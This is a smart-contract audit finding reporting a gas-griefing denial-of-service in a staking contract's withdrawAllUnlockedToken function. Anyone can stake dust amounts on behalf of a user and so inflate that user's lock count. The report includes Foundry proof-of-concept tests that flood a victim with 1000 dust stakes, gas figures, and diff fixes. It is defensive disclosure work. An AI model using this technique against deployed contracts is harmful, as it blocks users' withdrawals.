Rare Aqua Cormorant

high

# [H-01] Unbounded Loop in `Lock::withdrawAllUnlockedToken` Could Lead to Griefing/DoS Attack

## Summary 
Anyone can `stake` on behalf of users, and since the `stake` function has no minimum amount requirement, a malicious actor can deposit countless dust amounts on behalf of a user. This could prevent the user from calling `withdrawAllUnlockedToken` due to high gas costs.

## Vulnerability Detail
The `withdrawAllUnlockedToken` function contains two unbounded loops. The first loop uses `locklist::lockCount` of the user, which can be manipulated by anyone by simply staking dust amounts. The second loop uses the length of `locklist::getLocks`, which can also be manipulated through dust transactions.
[link to code](https://github.com/sherlock-audit/2024-05-gamma-staking/blob/main/StakingV2/src/Lock.sol#L417)
```javascript
function withdrawAllUnlockedToken() external override nonReentrant {
        uint256 lockCount = locklist.lockCount(msg.sender); // Fetch the total number of locks for the caller.
        uint256 page;
        uint256 limit;
        uint256 totalUnlocked;
@>      while (limit < lockCount) {
            LockedBalance[] memory lockedBals = locklist.getLocks(
                msg.sender,
                page,
                lockCount
            ); // Retrieves a page of locks for the user.
@>          for (uint256 i = 0; i < lockedBals.length; i++) {
                if (
                    lockedBals[i].unlockTime != 0 &&
                    lockedBals[i].unlockTime < block.timestamp
                ) {
                    totalUnlocked += lockedBals[i].amount; // Adds up the amount from all unlocked balances.
                    locklist.removeFromList(msg.sender, lockedBals[i].lockId); // Removes the lock from the list.
                }
            }

            limit += 10; // Moves to the next page of locks.    
            page++;
        }

        IERC20(stakingToken).safeTransfer(msg.sender, totalUnlocked); // Transfers the total unlocked amount to the user.
        emit WithdrawAllUnlocked(msg.sender, totalUnlocked); // Emits an event logging the withdrawal.
    }
```
## Impact
Although users won't lose access to their funds due to the option of withdrawing positions one by one using `Lock::withdrawUnlockedTokenById`, the `withdrawAllUnlockedToken` function becomes unusable for users under attack.

## Code Snippet
To demonstrate the concept, add the following tests to the `Withdraw.t.sol` test suite:
- Case 1: Gas cost of staking and withdrawing all for User 1 without a DoS attack: `380,930` gas
```javascript
function testWithdrawAllforUser1() public {
        //gas cost:380930
        vm.prank(user1);
        lock.stake(100e18, user1, 0);
        LockedBalance[] memory user1Locks = lockList.getLocks(user1, 0, 10);
        LockedBalance memory user1Lock = lockList.getLockById(
            user1,
            user1Locks[0].lockId
        );
        vm.prank(user1);
        lock.exitLateById(user1Lock.lockId);
        vm.warp(block.timestamp + 30); // Simulate time passage

        // Verify if the tokens are correctly unlocked and can be withdrawn
        uint256 user1BalanceBefore = _stakingToken.balanceOf(user1);
        vm.prank(user1);
        lock.withdrawAllUnlockedToken();
        uint256 user1BalanceAfter = _stakingToken.balanceOf(user1);
        assertEq(user1BalanceBefore + 100e18, user1BalanceAfter);
```
- Case 2: Gas cost of staking and withdrawing all for User 1 during a DoS attack:
    - Cost of attack (before User 1 intends to call `withdraw`): `181,814,752` gas
    - Cost of test: `4,842,572,592` gas
    - Cost of User 1 withdrawal = Cost of test - Cost of attack = `4,660,757,840` gas
  
```javascript
function testWithdrawAllDOS() public {
        //user 1 deposits
        vm.prank(user1);
        lock.stake(100e18, user1, 0);
        LockedBalance[] memory user1Locks = lockList.getLocks(user1, 0, 10);
        LockedBalance memory user1Lock = lockList.getLockById(
            user1,
            user1Locks[0].lockId
        );

        //user 2 deposits dust txs on behalf of user 1
        for (uint256 k; k < 1000; k++) {
            uint64 counter = 1;
            vm.prank(user2);
            lock.stake(1, user1, 0);
        }
        vm.warp(block.timestamp + 10);
        // cost of attack gas: 181814752
        // user1 intends to withdraw his deposit using withdrawAll
        vm.warp(block.timestamp + 30);
        vm.prank(user1);
        lock.exitLateById(user1Lock.lockId);
        vm.warp(block.timestamp + 30); // Simulate time passage

        // Verify if the tokens are correctly unlocked and can be withdrawn
        uint256 user1BalanceBefore = _stakingToken.balanceOf(user1);
        vm.prank(user1);
        lock.withdrawAllUnlockedToken();
        uint256 user1BalanceAfter = _stakingToken.balanceOf(user1);
        assertEq(user1BalanceBefore + 100e18, user1BalanceAfter);
        //gas cost 4,842,572,592 =: 4,842,572,592 - 181,814,752 = 4,660,757,840
        //which is way bigger than normal gas cost //gas cost:380930
    }
```

## Tool used

Manual Review, Foundry test suit

## Recommendation
To fix this issue:
1. Remove the while loop completely because it has no effect on contract functionality and only loops empty lock IDs after first iteration. 
```diff
function withdrawAllUnlockedToken() external override nonReentrant {
        uint256 lockCount = locklist.lockCount(msg.sender); // Fetch the total number of locks for the caller.
        uint256 page;
        uint256 limit;
        uint256 totalUnlocked;
-       while (limit < lockCount) {
            LockedBalance[] memory lockedBals = locklist.getLocks(
                msg.sender,
                page,
                lockCount
            ); // Retrieves a page of locks for the user.
            for (uint256 i = 0; i < lockedBals.length; i++) {
                if (
                    lockedBals[i].unlockTime != 0 &&
                    lockedBals[i].unlockTime < block.timestamp
                ) {
                    totalUnlocked += lockedBals[i].amount; // Adds up the amount from all unlocked balances.
                    locklist.removeFromList(msg.sender, lockedBals[i].lockId); // Removes the lock from the list.
                }
            }

-           limit += 10; // Moves to the next page of locks.    
-           page++;
-       }

        IERC20(stakingToken).safeTransfer(msg.sender, totalUnlocked); // Transfers the total unlocked amount to the user.
        emit WithdrawAllUnlocked(msg.sender, totalUnlocked); // Emits an event logging the withdrawal.
    }
```
2. Set a minimum stake amount to stop attackers from making DoS attacks possible.
```diff
function _stake(
        uint256 amount,
        address onBehalfOf,
        uint256 typeIndex,
        bool isRelock
    ) internal whenNotPaused {
-       if (typeIndex >= lockPeriod.length || amount == 0)
+       if (typeIndex >= lockPeriod.length || amount <= MIN_DEPOSIT_AMOUNT)
            revert InvalidAmount();
        .
        .
        .
    }

```